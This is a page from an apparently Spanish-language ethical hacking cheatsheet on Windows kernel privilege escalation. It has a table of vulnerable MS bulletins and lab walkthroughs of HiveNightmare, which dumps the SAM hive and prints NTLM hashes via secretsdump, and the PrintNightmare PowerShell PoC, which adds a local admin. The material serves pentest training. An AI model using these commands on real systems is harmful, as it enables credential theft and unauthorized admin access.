Cheatsheet
  • Introducción
    • 👾Ethical Hacking Cheatsheet
      • 📕Metodología OSSTMM
      • 📘MITRE ATT&CK
      • 🔢Proceso de Pentesting
      • 💻Instalación del entorno
        • 💻Instalación de VMWare
        • 💻Virtualizar Kali Linux
        • 🎨Personalización del entorno
        • 🕷️Máquinas Vulnerables
          • 💣Metasploitable 3
          • 🖖VPLE
          • 🟦Windows 11 Developer
      • 📔Organización y Notas
      • 👜Documentación e informes
        • 👜Documentos iniciales
        • 👜Toma de notas y organización
        • 👜Herramientas de documentación
        • 👜Tipos de informes
        • 👜Componentes de un informe
        • 👜Cómo redactar un hallazgo
        • 👜Consejos y trucos en la realización de informes
        • 👜Caso práctico: Informes
        • 👜CPTS Report
  • Sistemas básicos
    • 🐧Linux
    • 🪟Windows
    • 🔓Puertos y comprobaciones
    • Modos de Red
  • Recopilación de información
    • 🌐Google Hacking
      • 🌐Google Dorks
    • 💻Enumeración
      • 💻Metodología
      • 💻FTP
      • 💻SMB
      • 💻NFS
      • 💻DNS
      • 💻SMTP
      • 💻IMAP/POP3
      • 💻SNMP
      • 💻MySQL
      • 💻MSSQL
      • 💻Oracle TNS
      • 💻IPMI
      • 💻Protocolos de Administración Remota - Linux
      • 💻Protocolos de Administración Remota - Windows
      • 💻Footprinting Lab - Easy
      • 💻Footprinting Lab - Medium
      • 💻Footprinting Lab - Hard
    • 🔎Recopilación de información
      • 🔎Recopilación Pasiva
        • 🔎Subdominios - Pasiva
        • 🔎Identificar Tecnologías
        • 🔎Infraestructura - Pasiva
        • 🔎Fingerprinting
        • 🦭FOCA
      • 💻Recopilación Activa
        • 💻Reconocimiento automatizado
        • 💻Nmap
        • 💻Nmap Scripting Engine
        • 💻Subdominios - Activa
        • 💻Infraestructura - Activa
        • 💻Virtual Hosts
        • 💻Evasión de IDS
        • 💻Escaneo Avanzado
        • 💻Lab - Recopilación
      • 🧠OSINT
        • 🧠Herramientas Genéricas
        • 🧠OSINT a Usernames
        • 🧠OSINT a Teléfonos
        • 🧠OSINT a Emails
        • 🧠OSINT a Dominios
        • 🧠OSINT en Linkedin
        • 🧠OSINT en Instagram
    • 🕸️Fuzzing
      • 🕸️Gobuster
      • 🕸️Ffuf
      • 🕸️Dirsearch
    • 🕸️Crawling
      • 🕸️Web Crawlers
      • 🕸️Herramientas de Crawling
    • ☁️Hacking en CMS
    • 🍏Hacking en MacOS
  • Análisis de vulnerabilidades
    • 👾Análisis de vulnerabilidades
    • 👽Herramientas de Análisis
      • ⚙️Nmap: Análisis
      • ⚙️Nuclei
      • ⚙️OpenVAS
      • ⚙️Nessus
  • Explotación de vulnerabilidades
    • 💣Explotación en Hosts
      • 🔥Acceso básico
      • 🐚Shells y Payloads
        • 🐚Bind Shells
        • 🐚Reverse Shells
        • 🐚Payloads
        • 💣Metasploit Payloads
        • 🐚Tratamiento de la TTY
        • 🐚Webshells
          • 🐚Laudanum
          • 🐚PHP Webshell
        • 💣Lab de explotación
      • 🔎Buscador de exploits
      • 🔑Password Attacks
        • 🔑Cracking de Contraseñas
        • 🔑Bruteforce de Servicios
        • 🔑Login Bruteforce
          • 🔑Ataques de fuerza bruta
          • 🔑Ataques de diccionario
          • 🔑Ataques Híbridos
          • 🔑Bruteforce con Hydra
          • 🔑Autenticación HTTP básica
          • 🔑Formularios de Login
          • 🔑Medusa
        • 🔑Password Mutations
        • 🔑Contraseñas por defecto
        • 🔑Windows Attacks
          • 🔑Atacando a SAM
          • 🔑Atacando a LSASS
          • 🔑Atacando Active Directory
          • 🔑Credential Hunting - Windows
        • 🔑Linux Attacks
          • 🔑Credential Hunting - Linux
          • 🔑Passwd, Shadow y Opasswd
        • 🔑Archivos Protegidos
        • 🔑Archivos Comprimidos
        • 🔑Políticas de Contraseñas
        • 🔑Administradores de Contraseñas
        • 🔑Labs de contraseñas
          • 🔑Lab de contraseñas - Easy
          • 🔑Lab de contraseñas - Medium
          • 🔑Lab de contraseñas - Hard
      • 👾Atacando Servicios Comunes
        • 👾Ataques a FTP
        • 👾Ataques a SMB
        • 👾Ataques a Bases de Datos
        • 👾Ataques a RDP
        • 👾Ataques a DNS
        • 👾Ataques a Emails
        • 👾Labs - Common Services
          • 👾Lab - Easy
          • 👾Lab - Medium
          • 👾Lab - Hard
      • 🔁Pivoting, Tunelling y Port Forwarding
        • 🔁Redes en Pivoting
        • 🔁Port Forwarding
        • 🔁Remote/Reverse Port Forwarding con SSH
        • 🔁Meterpreter Tunneling & Port Forwarding
        • 🔁Pivoting con Socat
        • 🔁SSH para Windows: plink.exe
        • 🔁Pivoting SSH con Sshuttle
        • 🔁Web Server Pivoting con Rpivot
        • 🔁Port Forwarding con Windows Netsh
        • 🔁Túnel DNS con Dnscat2
        • 🔁SOCKS5 Tunneling con Chisel
        • 🔁ICMP Tunneling con SOCKS
        • 🔁RDP y SOCKS Tunneling con SocksOverRDP
        • 🔁Pivoting: Skills Assessment
        • 🔁Port Forwarding dinámico
      • 🧨Metasploit
        • 🧨Metasploit - Atacando Windows
      • ☠️Msfvenom
      • 🐍Hydra
      • ❌BruteX
      • 🔄File Transfers
      • 💿Buffer Overflow en Linux
    • 💣Explotación en Web
      • ⬆️Ataques de subida de archivos
        • ⬆️Ausencia de validación
        • ⬆️Explotación de subida
        • ⬆️Client-Side Validation
        • ⬆️Filtros de Blacklist
        • ⬆️Filtros de Whitelist
        • ⬆️Filtros de tipo
        • ⬆️Cargas de archivos limitadas
        • ⬆️Otros ataques de carga
        • ⬆️Prevención en carga de archivos
        • ⬆️File Uploads - Skills Assessment
      • 🕸️Ataques Web Modernos
        • 🕸️HTTP Verb Tampering
          • 🕸️Bypass de autenticación
          • 🕸️Bypass de Filtros
          • 🕸️Prevención de HTML Verb Tampering
        • 🕸️IDOR
          • 🕸️Identificación de IDOR
          • 🕸️Enumeración de IDOR
          • 🕸️Bypass de referencias codificadas
          • 🕸️IDOR en APIs Inseguras
          • 🕸️Encadenar vulnerabilidades IDOR
          • 🕸️Prevención de IDOR
        • 🕸️XML External Entity (XXE)
          • 🕸️Local File Disclosure
          • 🕸️Advanced File Disclosure
          • 🕸️Blind Data Exfiltration
          • 🕸️Prevención de XXE
        • 🕸️Ataques Web - Skills Assesment
      • 💣Ataques a Aplicaciones Web
        • 🔎Descubrimiento y enumeración de aplicaciones
        • 💣Ataques a CMS
          • 🔎Wordpress - Enumeración
          • 💣Wordpress - Ataques
          • 🔎Joomla - Enumeración
          • 💣Joomla - Ataques
          • 🔎Drupal - Enumeración
          • 💣Drupal - Ataques
        • 💣Ataques a Servlet Containers
          • 🔎Tomcat - Enumeración
          • 💣Tomcat - Ataques
          • 🔎Jenkins - Enumeración
          • 💣Jenkins - Ataques
        • 💣Ataques a herramientas de monitorización
          • 🔎Splunk - Enumeración
          • 💣Splunk - Ataques
          • 💣PTRG Network Monitor
        • 💣Ataques a aplicaciones varias
          • 💣osTicket
          • 🔎GitLab - Enumeración
          • 💣GitLab - Ataques
          • 💣Tomcat CGI
          • 💣Ataques a CGI - Shellshock
          • 💣Ataques a Aplicaciones de Cliente Pesado
          • 💣Vulnerabilidades Web en Aplicaciones de Cliente Pesado
          • 🔎ColdFusion - Enumeración
          • 💣Coldfusion - Ataques
          • 🔎IIS Tilde - Enumeración
          • 💣Asignación masiva de archivos web
          • 💣Ataques a aplicaciones que se conectan a servicios
          • 💣Otras aplicaciones notables
          • 🛡️Hardening de Aplicaciones
        • 💣Labs - Ataques a Aplicaciones
          • 💣Lab - Ataques a Aplicaciones I
          • 💣Lab - Ataques a Aplicaciones II
          • 💣Lab - Ataques a Aplicaciones III
      • 💉SQL Injection
        • 💉SQLMap
          • 💉Introducción a SQLMap
          • 💉SQLMap - HTTP Request
          • 💉SQLMap - Manejo de errores
          • 💉SQLMap - Ajuste del ataque
          • 💉SQLMap - Enumeración Básica
          • 💉SQLMap - Enumeración Avanzada
          • 💉SQLMap - Bypass de protección web
          • 💉SQLMap - Explotación de S.O.
          • 💉SQLMap - Skills Assessment
      • 💉Command Injection
        • 💉Detección
        • 💉Inyectando comandos
        • 💉Otros operadores de inyección
        • 💉Identificación de filtros
        • 💉Bypass de filtros de espacios
        • 💉Bypass de otros caracteres en Blacklist
        • 💉Bypass de comandos en Blacklist
        • 💉Ofuscación de comandos avanzada
        • 💉Herramientas de Ofuscación de comandos
        • 💉Prevención de Command Injection
        • 💉Command Injection - Skills Assesment
      • 📁Local File Inclusion
      • 💿Cross Site Scripting (XSS)
        • 💿XSS Stored
        • 💿XSS Reflected
        • 💿XSS DOM-Based
        • 💿XSS Discovery
        • 💿XSS Payloads
        • 💿Defacing con XSS
        • 💿Phising con XSS
        • 💿Session Hijacking
        • 💿Prevención de XSS
        • 💿XSS - Skills Assessment
      • 💻API Hacking
      • 🔻DDoS Attack
      • 💡Web Proxies
        • 💡Configuración
        • 💡Interceptando solicitudes
        • 💡Interceptar respuestas
        • 💡Modificación automática
        • 💡Solicitudes repetidas
        • 💡Encoding / Decoding
        • 💡Herramientas de Proxy
        • 💡Burp Intruder
        • 💡Zap Fuzzer
        • 💡Burp Scanner
        • 💡Zap Scanner
        • 💡Extensiones
        • 💡Proxy: Skills Assestment
      • 👨‍🍳Cyberchef
    • 💣Explotación en Redes
      • 😎Man in the middle
      • 🎣Phising
        • 🎣Herramientas de Phising
        • 🎣Seeker y Ngrok
        • 🎣Social Engineering Toolkit
        • 🎣Gophish
      • 🤼Ingeniería Social
      • 🔐Bruteforce a RRSS
      • 🌐Hacking WiFi
        • 🌐Conceptos básicos
        • 🌐Redes Básicas
        • 🌐Sniffing
        • 🌐Deauth
        • 🌐Redes ocultas
        • 🌐WEP Cracking
          • 🌐Ataque a WEP
          • 🌐Fake Autentication
          • 🌐Packet Injection
            • 🌐ARP Request Replay
            • 🌐Chop Chop
            • 🌐Fragmentation
          • 🌐Redes SKA
        • 🌐WPS Cracking
        • 🌐WPA/WPA2 Cracking
        • 🌐Wifite
        • 🌐Evil Portal
        • 🌐Rainbow Table
        • 🌐WPA/WPA2 Enterprise
    • 📕Diccionarios Custom
      • 📕Username Anarchy
      • 📕Cupp
      • 📕Crunch
      • 📕CeWL
      • 📕DyMerge
  • Post Explotación
    • 💻Post Explotación
      • 👾Meterpreter
      • 🐈Mimikatz
      • 🔐LaZagne
      • 📩Procdump y lsass.exe
      • ↔️Movimientos Laterales
        • ↔️Pass the Hash (PtH)
        • ↔️Pass the Ticket (PtT) - Windows
        • ↔️Pass the Ticket (PtT) - Linux
      • 🚪Backdoor en binarios
      • 🦅Covenant
      • ⚔️Koadic
      • 💾Bases de datos
        • 💾MySQL
        • 💾PostgreSQL
      • ⚙️P.E. Avanzada
      • 🧼Borrado de evidencias
    • 🌋Escalada de Privilegios
      • 🐧Escalada de privilegios en Linux
        • 🐧Enumeración del entorno
        • 🐧Enumeración de servicios y componentes internos
        • 🐧Búsqueda de credenciales en Linux
        • 🐧Abuso de PATH
        • 🐧Abuso de comodines
        • 🐧Shells restringidos
        • 🐧Permisos especiales
        • 🐧Abuso de permisos Sudo
        • 🐧Grupos privilegiados
        • 🐧Capabilities
        • 🐧Servicios vulnerables
        • 🐧Abuso de Cron
        • 🐧Contenedores
        • 🐧Docker
        • 🐧Kubernetes
        • 🐧Logrotate
        • 🐧Técnicas varias
        • 🐧Exploits del Kernel - Linux
        • 🐧Bibliotecas compartidas
        • 🐧Secuestro de objetos compartidos
        • 🐧Secuestro de librería de Python
        • 🐧Sudo Zeroday
        • 🐧Polkit Zeroday
        • 🐧Dirty Pipe
        • 🐧Netfilter
        • 🐧Hardening en Linux - Privesc
        • 🐧Escalada en Linux - Skills Assesment
        • ⬆️Linpeas
      • 📘Escalada de privilegios en Windows
        • 📘Herramientas útiles
        • 📘Conciencia situacional
        • 📘Enumeración inicial en Windows
        • 📘Enumeración inicial
        • 📘Comunicación con Procesos
        • 📘Privilegios de Usuario en Windows
          • 📘SeImpersonate y SeAssignPrimaryToken
          • 📘SeDebugPrivilege
          • 📘SeTakeOwnershipPrivilege
        • 📘Privilegios de Grupo en Windows
          • 📘Grupos Integrados en Windows
          • 📘Lectores de Registros de Eventos
          • 📘DnsAdmins
          • 📘Hyper-V Administrators
          • 📘Print Operators
          • 📘Server Operators
        • 📘Atacando el Sistema Operativo Windows
          • 📘User Account Control (UAC)
          • 📘Permisos débiles
          • 📘Exploits del Kernel - Windows
          • 📘Servicios vulnerables en Windows
          • 📘DLL Injection
        • 📘Robo de credenciales en Windows
          • 📘Búsqueda de credenciales en Windows
          • 📘Otros archivos interesantes en Windows
          • 📘Otros robos de credenciales en Windows
        • 📘Entornos restrictivos - Citrix
        • 📘Varias técnicas de escalada en Windows
          • 📘Interacción con usuarios
          • 📘Pillaging
          • 📘Técnicas varias
        • 📘Sistemas Operativos Obsoletos
          • 📘Sistemas operativos heredados
          • 📘Windows Server
          • 📘Windows Desktop
        • 📘Hardening en Windows
        • 📘Escalada de privilegios en Windows: Skills Assessment
          • 📘Escenario 1
          • 📘Escenario 2
      • 🔴GTFOBins
  • Evasión de defensas
    • 🛡️Detección y evasión de defensas
      • 🛡️Load Balancing Detector
      • 🛡️Evasión de WAFs
      • 🛡️Evasión de Antivirus
      • 🛡️Herramientas de Evasión
  • Active Directory
    • ☁️Active Directory
      • ☁️Enumeración en AD
        • ☁️AD: Enumeración inicial del dominio
        • ☁️AD: Enumeración de controles de seguridad
        • ☁️AD: Enumeración con credenciales: desde Linux
        • 👁️PowerView
        • ☁️AD: Enumeración con credenciales: desde Windows
        • ☁️AD: Enumeración nativa en Windows
      • ☄️Sniffing desde el Foothold
        • ☄️LLMNR/NBT-NS Poisoning - Desde Linux
        • ☄️LLMNR/NBT-NS Poisoning - Desde Windows
      • 🔫Password Spraying
        • 🔫AD: Políticas de contraseñas
        • 🔫AD: Crear lista de usuarios
        • 🔫Password Spraying Interno - Desde Linux
        • 🔫Password Spraying Interno - Desde Windows
      • 🐺Kerberos
        • ⚔️Hacking en Kerberos
        • ⚔️Kerberoasting desde Linux
        • ⚔️Kerberoasting desde Windows
        • 🗝️Acceso a Credenciales
        • 🗝️Volcado de LSASS y SAM
        • 🗝️Credenciales cacheadas
        • 🗝️Pass the Hash
        • 🪙Token Impersonation
        • 🎟️ASK-TGT
        • 🎫Golden y Silver Tickets
        • 🐺Kerberos "Double Hop"
      • 🦸‍♂️ACLs - Access Control Lists
        • 🦸‍♂️ACLs Vulnerables
        • 🦸‍♂️Enumeración de ACLs
        • 🦸‍♂️Tácticas de abuso de ACLs
      • 🔄DCSync
      • ⬆️Acceso Privilegiado
      • ❤️‍🩹Vulnerabilidades en AD
      • ⚙️Malas configuraciones en AD
      • 🤝Relaciones de confianza
        • 🤝Ataque de confianza de dominio - Desde Windows
        • 🤝Ataque de confianza de dominio - Desde Linux
        • 🤝Abuso de confianza entre bosques - Desde Windows
        • 🤝Abuso de confianza entre bosques - Desde Linux
      • ☁️Vulnerable AD
      • ⬇️SAM
      • 🔐LDAP
        • 🔐Atacando LDAP
      • 🔐NTDS
      • 🔐NTLM/SMB Relay
      • 🩸BloodHound
      • 🛡️Hardening en AD
      • 💻Técnicas adicionales de auditoría en AD
      • 💻AD - Skills Assessment I
      • 💻AD - Skills Assessment II
  • Hacking en entornos reales
    • 🏛️Enterprise Hacking
      • 🏛️Escenario y KickOff
      • 🏛️Enterprise Hacking Checklist
      • 🏛️Pruebas externas
        • 🏛️Recopilación de Información Externa
        • 🏛️Enumeración y explotación de servicios
        • 🏛️Enumeración y explotación web
        • 🏛️Acceso inicial
      • 🏛️Pruebas internas
        • 🏛️Persistencia Post-Explotación
        • 🏛️Recopilación de Información Interna
        • 🏛️Explotación y escalada de privilegios
      • 🏛️Movimiento lateral y escalada de privilegios
        • 🏛️Movimiento lateral
        • 🏛️Comprometiendo Active Directory
        • 🏛️Post Explotación en Active Directory
        • 🏛️Cierre del pentesting
    • ☁️AWS - Amazon Web Services
    • ⚔️Hacking en AWS
  • Anonimato y privacidad
    • 👹Anonimato y Privacidad
      • 🔒VPN
      • 🔒Proxy
      • 🔒Red TOR
      • 🔒Zero Knowledge Services
  • Machine Learning en Hacking
    • 🧠Machine Learning
      • 🧠Batea
      • 💀Pesidious
  • Hardware Hacking
    • 🐬Flipper Zero
      • 🐬Introducción
        • 🐬qFlipper
        • 🐬Instalar qFlipper en Kali Linux
        • 🐬Recuperación de Firmware
      • 📻Sub-GHz
        • 📻Lectura de señales
        • 📻Lectura de señales RAW
        • 📻Añadir nuevos controles remotos
        • 📻Frecuencias
      • ♒RFID de 125 kHz
        • ♒Lectura de tarjetas RFID
        • ♒Añadir tarjetas RFID manualmente
        • ♒Escritura de datos en tarjetas T5577
        • ♒Microchips para animales
      • 💳NFC
        • 💳Lectura de tarjetas NFC
        • 💳Extracción de claves con MFKey32
        • 💳Desbloqueo de tarjetas con contraseñas
        • 💳Escritura de datos en Magic Cards
        • 💳Añadir nuevas tarjetas NFC
      • 🔴Infrarrojos
        • 🔴Lectura de señales infrarrojas
        • 🔴Controles remotos universales
      • 👿Bad USB
        • 👿Script básico de Youtube
        • 👿Bruteforce de Pins
        • 👿RatLocker
      • 🎨Custom Firmwares
      • 🛜GPIO y Módulos
        • 🛜Marauder Firmware
        • 🛜Escaneo de Redes Wifi
        • 🛜Wifi Password Cracking
        • 🛜Evil Portal
      • 🔘iButton
        • 🔘Lectura de llaves iButton
        • 🔘Agregar llaves iButton manualmente
        • 🔘Escritura de datos en llaves iButton
  • Writeups
    • 🟢Hack the Box
      • 🟠Backfire
      • 🟠Blurry
      • 🟠Hospital
      • 🟠Zipping
      • 🟢Analytics
      • 🟢Bizness
      • 🟢Boardlight
      • 🟢Broker
      • 🟢Chemistry
      • 🟢Codify
      • 🟢CozyHosting
      • 🟢Devvortex
      • 🟢GreenHorn
      • 🟢LinkVortex
      • 🟢PermX
    • 🐋Dockerlabs
      • 🟠Inclusion
      • 🟠Veneno
      • 🟢Hedgehog
      • 🟢Library
      • 🟢Move
      • 🟢Walking CMS
    • 🌩️TryHackMe
      • 🟠Attracktive Directory
    • 🌐Over The Wire
      • 🌐Bandit
      • 🌐Natas
Con tecnología de GitBook
En esta página
  • Vulnerabilidades notables
  • Hive Nightmare (a.k.a SeriousSam)
  • Comprobación de permisos en el archivo SAM
  • Realizar ataque y analizar hashes de contraseñas
  • Print Nightmare
  • Comprobando el servicio de spooler
  • Agregar un administrador local con la PoC de PowerShell PrintNightmare
  • Confirmación de nuevo usuario administrador
  • Enumeración de parches faltantes
  • Examinar las actualizaciones instaladas
  • Ver actualizaciones instaladas con WMI
  • Ejemplo de CVE-2020-0668
  • Caso práctico
  • Hive Nightmare
  • Print Nightmare

¿Te fue útil?

  1. Post Explotación
  2. Escalada de Privilegios
  3. Escalada de privilegios en Windows
  4. Atacando el Sistema Operativo Windows

Exploits del Kernel - Windows

Es un gran desafío garantizar que todos los escritorios y servidores de los usuarios estén actualizados, y es probable que el cumplimiento del 100 % de todos los equipos con parches de seguridad no sea un objetivo alcanzable. Suponiendo que un equipo haya sido el objetivo de la instalación de actualizaciones, por ejemplo, mediante SCCM (Microsoft System Center Configuration Manager) o WSUS (Windows Server Update Services), aún existen muchas razones por las que podrían no instalarse. A lo largo de los años, ha habido muchos exploits del kernel que afectan al sistema operativo Windows desde Windows 2000/XP hasta Windows 10/Server 2016/2019. A continuación, se puede encontrar una tabla detallada de exploits conocidos de ejecución remota de código/escalada de privilegios locales para sistemas operativos Windows, desglosados ​​por nivel de paquete de servicio, desde Windows XP en adelante hasta Server 2016.

Sistema operativo base

XP

2003

Vista

2008

7

2008R2

8

8.1

2012

2012R2

10

2016

Service Pack

SP0

SP1

SP2

SP3

SP0

SP1

SP2

SP0

SP1

SP2

SP0

SP2

SP0

SP1

SP0

SP1

MS03-026

•

•

•

•

•

•

•

MS05-039

•

•

•

•

•

MS08-025

•

•

•

•

•

•

•

•

•

MS08-067

•

•

•

•

•

•

•

•

•

•

MS08-068

•

•

•

•

•

•

•

•

•

•

MS09-012

•

•

•

•

•

•

•

•

•

•

MS09-050

•

•

•

•

•

MS10-015

•

•

•

•

•

•

•

•

MS10-059

•

•

•

•

•

•

•

MS10-092

•

•

•

•

•

•

•

MS11-011

•

•

•

•

•

•

•

•

•

•

•

MS11-046

•

•

•

•

•

•

•

•

•

•

•

•

•

MS11-062

•

•

•

•

MS11-080

•

•

•

•

MS13-005

•

•

•

•

•

•

•

•

•

•

•

MS13-053

•

•

•

•

•

•

•

•

•

•

•

•

•

•

•

MS13-081

•

•

•

•

•

•

•

•

•

•

•

•

•

•

•

•

MS14-002

•

•

•

•

MS14-040

•

•

•

•

•

•

•

•

•

•

•

•

•

•

•

•

MS14-058

•

•

•

•

•

•

•

•

•

•

•

•

•

•

•

•

MS14-062

•

•

•

MS14-068

•

•

•

•

•

•

•

•

•

•

•

•

•

•

•

•

MS14-070

•

•

•

MS15-001

•

•

•

•

•

•

•

•

MS15-010

•

•

•

•

•

•

•

•

•

•

•

•

•

•

•

•

MS15-051

•

•

•

•

•

•

•

•

•

•

•

•

•

•

•

•

MS15-061

•

•

•

•

•

•

•

•

•

•

•

•

•

•

•

•

MS15-076

•

•

•

•

•

•

•

•

•

•

•

•

•

•

•

•

MS15-078

•

•

•

•

•

•

•

•

•

•

•

•

•

MS15-097

•

•

•

•

•

•

•

•

•

•

•

•

•

•

MS16-016

•

•

•

•

•

•

•

•

•

MS16-032

•

•

•

•

•

•

•

•

•

•

•

•

MS16-135

•

•

•

•

•

•

•

•

•

•

•

•

•

•

MS17-010

•

•

•

•

•

•

•

•

•

•

•

•

•

•

•

CVE-2017-0213: COM Aggregate Marshaler

•

•

•

•

•

•

•

•

•

•

Hot Potato

•

•

•

•

•

•

•

•

•

Smashed Potato

•

•

•

•

•

•

•

•

•

Nota: Esta tabla no está 100% completa y no llega más allá de 2017. A día de hoy, hay más vulnerabilidades conocidas para las versiones más nuevas del sistema operativo e incluso para Server 2019.

Como podemos ver en esta tabla, hay muchos exploits que funcionan desde Windows XP hasta Server 2012R2. A medida que llegamos a Windows 10 y Server 2016, hay menos exploits conocidos. Esto se debe en parte a los cambios en el sistema operativo a lo largo del tiempo, incluidas las mejoras de seguridad y la descontinuación de versiones anteriores de protocolos como SMB. Una cosa importante que se debe tener en cuenta en esta tabla es que cuando se descubren nuevas vulnerabilidades o se lanzan exploits (como MS17-010), estos suelen filtrarse y afectar a versiones anteriores del sistema operativo. Por eso es vital estar al tanto de la aplicación de parches o actualizaciones, el retiro o la segregación de los sistemas Windows que han llegado al final de su vida útil. Analizaremos esto con más profundidad más adelante en este módulo.

Es importante tener en cuenta que, si bien algunos de los ejemplos anteriores areson vulnerabilidades de ejecución remota de código, podemos utilizarlos con la misma facilidad para escalar privilegios. Un ejemplo es si obtenemos acceso a un sistema y notamos que un puerto como el 445 (servicio SMB) no es accesible desde el exterior, es posible que podamos escalar privilegios si es vulnerable a algo como EternalBlue (MS17-010). En este caso, podríamos reenviar el puerto en cuestión para que sea accesible desde nuestro host de ataque o ejecutar el exploit en cuestión localmente para escalar privilegios.


Vulnerabilidades notables

A lo largo de los años, han surgido muchas vulnerabilidades de Windows de alto impacto que pueden aprovecharse para escalar privilegios. Algunas son vectores de escalada de privilegios puramente locales y otras son fallas de ejecución de código remoto (RCE) que pueden usarse para escalar privilegios mediante el reenvío de un puerto local. Un ejemplo de esto último sería aterrizar en un equipo que no permite el acceso al puerto 445 desde el exterior, realizar un reenvío de puerto para acceder a este puerto desde nuestro equipo de ataque y aprovechar una falla de ejecución de código remoto contra el servicio SMB para escalar privilegios. A continuación, se presentan algunas vulnerabilidades de Windows de impacto extremadamente alto a lo largo de los años que pueden aprovecharse para escalar privilegios.

El verano de 2021 reveló un tesoro de nuevas fallas de ejecución remota de código y escalada de privilegios locales relacionadas con Windows y Active Directory para el deleite de los pentesters (y atacantes del mundo real), y estoy seguro de que también de las quejas de nuestros colegas en el lado de la defensa.

Hive Nightmare (a.k.a SeriousSam)

Comprobación de permisos en el archivo SAM

Podemos comprobar esta vulnerabilidad comprobando con icacls los permisos del archivo SAM. En nuestro caso, tenemos una versión vulnerable, ya que el BUILTIN\Usersgrupo puede leer el archivo.

C:\htb> icacls c:\Windows\System32\config\SAM

C:\Windows\System32\config\SAM BUILTIN\Administrators:(I)(F)
                               NT AUTHORITY\SYSTEM:(I)(F)
                               BUILTIN\Users:(I)(RX)
                               APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                               APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

Para que la vulnerabilidad se aproveche con éxito, también es necesaria la presencia de una o más copias de seguridad. La mayoría de los sistemas Windows 10 tendrán habilitada de forma predeterminada la creación de copias de seguridad periódicas, incluida la copia de seguridad necesaria para aprovechar esta falla.

Realizar ataque y analizar hashes de contraseñas

PS C:\Users\htb-student\Desktop> .\HiveNightmare.exe

HiveNightmare v0.6 - dump registry hives as non-admin users

Specify maximum number of shadows to inspect with parameter if wanted, default is 15.

Running...

Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM

Success: SAM hive from 2021-08-07 written out to current working directory as SAM-2021-08-07

Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY

Success: SECURITY hive from 2021-08-07 written out to current working directory as SECURITY-2021-08-07

Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM

Success: SYSTEM hive from 2021-08-07 written out to current working directory as SYSTEM-2021-08-07


Assuming no errors above, you should be able to find hive dump files in current working directory.

Estas copias pueden luego transferirse nuevamente al host de ataque, donde utilizaremos impacket-secretsdump para extraer los hashes. Podemos ver el proceso completo de envío en la sección:

afsh4ck@kali$ impacket-secretsdump -sam SAM-2021-08-07 -system SYSTEM-2021-08-07 -security SECURITY-2021-08-07 local

Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra

[*] Target system bootKey: 0xebb2121de07ed08fc7dc58aa773b23d6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a54:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:c93428723187f868ae2f99d4fa66dceb:::
mrb3n:1001:aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a54:::
htb-student:1002:aad3b435b51404eeaad3b435b51404ee:3c0e5d303ec84884ad5c3b7876a06ea6:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x3c7b7e66890fb2181a74bb56ab12195f248e9461
dpapi_userkey:0xc3e6491e75d7cffe8efd40df94d83cba51832a56
[*] NL$KM 
 0000   45 C5 B2 32 29 8B 05 B8  E7 E7 E0 4B 2C 14 83 02   E..2)......K,...
 0010   CE 2F E7 D9 B8 E0 F0 F8  20 C8 E4 70 DD D1 7F 4F   ./...... ..p...O
 0020   42 2C E6 9E AF 57 74 01  09 88 B3 78 17 3F 88 54   B,...Wt....x.?.T
 0030   52 8F 8D 9C 06 36 C0 24  43 B9 D8 0F 35 88 B9 60   R....6.$C...5..`
NL$KM:45c5b232298b05b8e7e7e04b2c148302ce2fe7d9b8e0f0f820c8e470ddd17f4f422ce69eaf5774010988b378173f8854528f8d9c0636c02443b9d80f3588b960

Print Nightmare

Comprobando el servicio de spooler

Podemos comprobar rápidamente si el servicio Spooler se está ejecutando con el siguiente comando. Si no se está ejecutando, recibiremos un error de "ruta no existe".

PS C:\htb> ls \\localhost\pipe\spoolss


    Directory: \\localhost\pipe


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
                                                  spoolss

Agregar un administrador local con la PoC de PowerShell PrintNightmare

PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process

Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): A

Ahora podemos importar el script de PowerShell y usarlo para agregar un nuevo usuario administrador local.

PS C:\htb> Import-Module .\CVE-2021-1675.ps1
PS C:\htb> Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"

[+] created payload at C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_am
d64_ce3301b66255a0fb\Amd64\mxdwdrv.dll"
[+] added user hacker as local administrator
[+] deleting payload from C:\Users\htb-student\AppData\Local\Temp\nightmare.dll

Confirmación de nuevo usuario administrador

Si todo salió como estaba previsto, tendremos un nuevo usuario administrador local bajo nuestro control. Agregar un usuario es "ruidoso". No queremos hacerlo en una interacción en la que el sigilo es una consideración. Además, queremos consultar con nuestro cliente para asegurarnos de que la creación de la cuenta esté dentro del alcance de la evaluación.

PS C:\htb> net user hacker

User name                    hacker
Full Name                    hacker
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            ?8/?9/?2021 12:12:01 PM
Password expires             Never
Password changeable          ?8/?9/?2021 12:12:01 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
